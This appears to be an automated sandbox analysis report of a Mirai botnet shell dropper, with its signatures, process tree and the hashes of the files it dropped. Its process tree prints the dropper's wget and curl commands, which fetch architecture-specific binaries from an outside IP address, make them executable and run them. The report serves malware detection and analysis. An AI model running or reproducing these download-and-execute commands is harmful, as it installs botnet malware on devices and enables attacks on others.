Analysis

  • max time kernel
    105s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20251231-en
  • resource tags

    arch:armhfimage:debian9-armhf-20251231-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    07/01/2026, 03:53

General

  • Target
    b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29.sh
  • Size 3KB
  • Sample260107-efs2sser5x
  • SHA256 b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • mirai

Botnet
  • UNST

Extracted

Family
  • mirai

Botnet
  • UNST

Extracted

Family
  • mirai

Botnet
  • UNST

Extracted

Family
  • mirai

Botnet
  • UNST

Extracted

Family
  • mirai

Botnet
  • UNST

Extracted

Family
  • mirai

Botnet
  • UNST

Extracted

Family
  • mirai

Botnet
  • UNST

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • Contacts a large (78195) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 18 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 18 IoCs
  • Modifies Watchdog functionality 1 TTPs 10 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Checks CPU configuration 1 TTPs 11 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 22 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29.sh
    /tmp/b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29.sh
    1⤵
    • Executes dropped EXE
    PID:644
    • /usr/bin/wget
      wget http://176.65.132.205/bins/z3hir.x86 -O reaper
      2⤵
      • Writes file to tmp directory
      PID:650
    • /bin/chmod
      chmod +x reaper
      2⤵
      • File and Directory Permissions Modification
      PID:669
    • /tmp/reaper
      ./reaper
      2⤵
        PID:670
      • /usr/bin/curl
        curl -O http://176.65.132.205/bins/z3hir.x86
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:673
      • /bin/mv
        mv z3hir.x86 reaper
        2⤵
        • Reads runtime system information
        PID:675
      • /bin/chmod
        chmod +x reaper
        2⤵
        • File and Directory Permissions Modification
        PID:676
      • /tmp/reaper
        ./reaper
        2⤵
          PID:677
        • /usr/bin/wget
          wget http://176.65.132.205/bins/z3hir.mips -O reaper
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:680
        • /bin/chmod
          chmod +x reaper
          2⤵
          • File and Directory Permissions Modification
          PID:681
        • /tmp/reaper
          ./reaper
          2⤵
            PID:682
          • /usr/bin/curl
            curl -O http://176.65.132.205/bins/z3hir.mips
            2⤵
            • Checks CPU configuration
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:684
          • /bin/mv
            mv z3hir.mips reaper
            2⤵
            • System Network Configuration Discovery
            PID:689
          • /bin/chmod
            chmod +x reaper
            2⤵
            • File and Directory Permissions Modification
            PID:691
          • /tmp/reaper
            ./reaper
            2⤵
              PID:692
            • /usr/bin/wget
              wget http://176.65.132.205/bins/z3hir.mpsl -O reaper
              2⤵
              • Writes file to tmp directory
              PID:696
            • /bin/chmod
              chmod +x reaper
              2⤵
              • File and Directory Permissions Modification
              PID:710
            • /tmp/reaper
              ./reaper
              2⤵
                PID:712
              • /usr/bin/curl
                curl -O http://176.65.132.205/bins/z3hir.mpsl
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:714
              • /bin/mv
                mv z3hir.mpsl reaper
                2⤵
                  PID:728
                • /bin/chmod
                  chmod +x reaper
                  2⤵
                  • File and Directory Permissions Modification
                  PID:731
                • /tmp/reaper
                  ./reaper
                  2⤵
                    PID:735
                  • /usr/bin/wget
                    wget http://176.65.132.205/bins/z3hir.arm -O reaper
                    2⤵
                    • Writes file to tmp directory
                    PID:738
                  • /bin/chmod
                    chmod +x reaper
                    2⤵
                    • File and Directory Permissions Modification
                    PID:746
                  • /tmp/reaper
                    ./reaper
                    2⤵
                    • Modifies Watchdog functionality
                    • Reads runtime system information
                    PID:747
                  • /usr/bin/curl
                    curl -O http://176.65.132.205/bins/z3hir.arm
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:751
                  • /bin/mv
                    mv z3hir.arm reaper
                    2⤵
                      PID:755
                    • /bin/chmod
                      chmod +x reaper
                      2⤵
                      • File and Directory Permissions Modification
                      PID:756
                    • /tmp/reaper
                      ./reaper
                      2⤵
                      • Modifies Watchdog functionality
                      • Reads runtime system information
                      PID:757
                    • /usr/bin/wget
                      wget http://176.65.132.205/bins/z3hir.arm5 -O reaper
                      2⤵
                      • Writes file to tmp directory
                      PID:765
                    • /usr/bin/curl
                      curl -O http://176.65.132.205/bins/z3hir.arm5
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:766
                    • /bin/mv
                      mv z3hir.arm5 reaper
                      2⤵
                        PID:767
                      • /bin/chmod
                        chmod +x reaper
                        2⤵
                        • File and Directory Permissions Modification
                        PID:768
                      • /tmp/reaper
                        ./reaper
                        2⤵
                        • Modifies Watchdog functionality
                        • Reads runtime system information
                        PID:769
                      • /usr/bin/wget
                        wget http://176.65.132.205/bins/z3hir.arm6 -O reaper
                        2⤵
                        • Writes file to tmp directory
                        PID:777
                      • /usr/bin/curl
                        curl -O http://176.65.132.205/bins/z3hir.arm6
                        2⤵
                        • Checks CPU configuration
                        • Writes file to tmp directory
                        PID:780
                      • /bin/mv
                        mv z3hir.arm6 reaper
                        2⤵
                        • Reads runtime system information
                        PID:793
                      • /bin/chmod
                        chmod +x reaper
                        2⤵
                        • File and Directory Permissions Modification
                        PID:795
                      • /tmp/reaper
                        ./reaper
                        2⤵
                        • Modifies Watchdog functionality
                        • Reads runtime system information
                        PID:797
                      • /usr/bin/wget
                        wget http://176.65.132.205/bins/z3hir.arm7 -O reaper
                        2⤵
                        • Writes file to tmp directory
                        PID:805
                      • /usr/bin/curl
                        curl -O http://176.65.132.205/bins/z3hir.arm7
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:808
                      • /bin/mv
                        mv z3hir.arm7 reaper
                        2⤵
                        • Reads runtime system information
                        PID:821
                      • /bin/chmod
                        chmod +x reaper
                        2⤵
                        • File and Directory Permissions Modification
                        PID:822
                      • /tmp/reaper
                        ./reaper
                        2⤵
                        • Modifies Watchdog functionality
                        • Reads runtime system information
                        PID:823
                      • /usr/bin/wget
                        wget http://176.65.132.205/bins/z3hir.ppc -O reaper
                        2⤵
                        • Writes file to tmp directory
                        PID:831
                      • /usr/bin/curl
                        curl -O http://176.65.132.205/bins/z3hir.ppc
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:832
                      • /bin/mv
                        mv z3hir.ppc reaper
                        2⤵
                        • Reads runtime system information
                        PID:833
                      • /bin/chmod
                        chmod +x reaper
                        2⤵
                        • File and Directory Permissions Modification
                        PID:834
                      • /tmp/reaper
                        ./reaper
                        2⤵
                          PID:835
                        • /usr/bin/wget
                          wget http://176.65.132.205/bins/z3hir.spc -O reaper
                          2⤵
                          • Writes file to tmp directory
                          PID:838
                        • /bin/chmod
                          chmod +x reaper
                          2⤵
                          • File and Directory Permissions Modification
                          PID:839
                        • /tmp/reaper
                          ./reaper
                          2⤵
                            PID:840
                          • /usr/bin/curl
                            curl -O http://176.65.132.205/bins/z3hir.spc
                            2⤵
                            • Checks CPU configuration
                            • Writes file to tmp directory
                            PID:842
                          • /bin/mv
                            mv z3hir.spc reaper
                            2⤵
                            • Reads runtime system information
                            PID:843
                          • /bin/chmod
                            chmod +x reaper
                            2⤵
                            • File and Directory Permissions Modification
                            PID:844
                          • /tmp/reaper
                            ./reaper
                            2⤵
                              PID:845
                            • /usr/bin/wget
                              wget http://176.65.132.205/bins/z3hir.m68k -O reaper
                              2⤵
                              • Writes file to tmp directory
                              PID:848
                            • /bin/chmod
                              chmod +x reaper
                              2⤵
                              • File and Directory Permissions Modification
                              PID:849
                            • /tmp/reaper
                              ./reaper
                              2⤵
                                PID:850
                              • /usr/bin/curl
                                curl -O http://176.65.132.205/bins/z3hir.m68k
                                2⤵
                                • Checks CPU configuration
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:852
                              • /bin/mv
                                mv z3hir.m68k reaper
                                2⤵
                                  PID:853
                                • /bin/chmod
                                  chmod +x reaper
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:854
                                • /tmp/reaper
                                  ./reaper
                                  2⤵
                                    PID:855
                                  • /usr/bin/wget
                                    wget http://176.65.132.205/bins/z3hir.sh4 -O reaper
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:858
                                  • /bin/chmod
                                    chmod +x reaper
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:859
                                  • /tmp/reaper
                                    ./reaper
                                    2⤵
                                      PID:860
                                    • /usr/bin/curl
                                      curl -O http://176.65.132.205/bins/z3hir.sh4
                                      2⤵
                                      • Checks CPU configuration
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:862
                                    • /bin/mv
                                      mv z3hir.sh4 reaper
                                      2⤵
                                      • Reads runtime system information
                                      PID:863
                                    • /bin/chmod
                                      chmod +x reaper
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:864
                                    • /tmp/reaper
                                      ./reaper
                                      2⤵
                                        PID:865
                                      • /bin/rm
                                        rm -rf reaper
                                        2⤵
                                          PID:868

                                      Network

                                            MITRE ATT&CK Enterprise v16

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            reaper

                                            • Path /tmp/reaper
                                            • Size 62KB
                                            • SHA256 ec39782ea367d6e0802d22c4b0e777f2a25cb53d38d8942246c4e8d54af7513d
                                            • MD5 SHA1 SHA512 SSDEEP

                                            reaper

                                            • Path /tmp/reaper
                                            • Size 71KB
                                            • SHA256 34f848e80a044c5bdbbf6ace55421acb1ebf51a369692249c6a64b835d5c5b0b
                                            • MD5 SHA1 SHA512 SSDEEP

                                            reaper

                                            • Path /tmp/reaper
                                            • Size 64KB
                                            • SHA256 e29cf736be8fff4effed1275cb2c81b6d211f3ec46ca7b5de398866096668751
                                            • MD5 SHA1 SHA512 SSDEEP

                                            reaper

                                            • Path /tmp/reaper
                                            • Size 83KB
                                            • SHA256 e43dff3feb20d73911bbdc0f43bcb5038772b5cb8800f20bb20f422f36331b18
                                            • MD5 SHA1 SHA512 SSDEEP

                                            reaper

                                            • Path /tmp/reaper
                                            • Size 84KB
                                            • SHA256 bb110da7573aca38e37ca99c4c5abce4a5370eb5c718f1e1e1adf3d8be49ed76
                                            • MD5 SHA1 SHA512 SSDEEP

                                            reaper

                                            • Path /tmp/reaper
                                            • Size 67KB
                                            • SHA256 5a55b836e3b5d9b5e7b766b0d7ffe3672b4b9d150fc3dee3bf4eb49d7bf9b16f
                                            • MD5 SHA1 SHA512 SSDEEP

                                            z3hir.arm5

                                            • Path /tmp/z3hir.arm5
                                            • Size 67KB
                                            • SHA256 be240c37cb56f7727ed3c4fa8dcc92fa6e628b450519cdcc4070c4f8e9603a8d
                                            • MD5 SHA1 SHA512 SSDEEP

                                            z3hir.arm6

                                            • Path /tmp/z3hir.arm6
                                            • Size 79KB
                                            • SHA256 915fd8cc94d0f24729f519f1c4070d694415315bc1e95c9d29272734a5af097f
                                            • MD5 SHA1 SHA512 SSDEEP

                                            z3hir.arm7

                                            • Path /tmp/z3hir.arm7
                                            • Size 91KB
                                            • SHA256 aacde0f179f3638538c8d3602b7b402390c262ae2c90024d9facf73fa7b4d21e
                                            • MD5 SHA1 SHA512 SSDEEP

                                            z3hir.m68k

                                            • Path /tmp/z3hir.m68k
                                            • Size 64KB
                                            • SHA256 8a29b1ec616ce3423f7dc2fc6c4fc045ff38f7958dfcdb9fb21cecd1acc8af3e
                                            • MD5 SHA1 SHA512 SSDEEP

                                            z3hir.ppc

                                            • Path /tmp/z3hir.ppc
                                            • Size 62KB
                                            • SHA256 5749e89010614cf34c215fc15f6613494b90d6664de0f1b813dd55967a0aa57f
                                            • MD5 SHA1 SHA512 SSDEEP

                                            z3hir.sh4

                                            • Path /tmp/z3hir.sh4
                                            • Size 62KB
                                            • SHA256 0853c6cf590b295f6ec741440726ddb97b0b0f61155f7ab9c08d3f35fd5e6e73
                                            • MD5 SHA1 SHA512 SSDEEP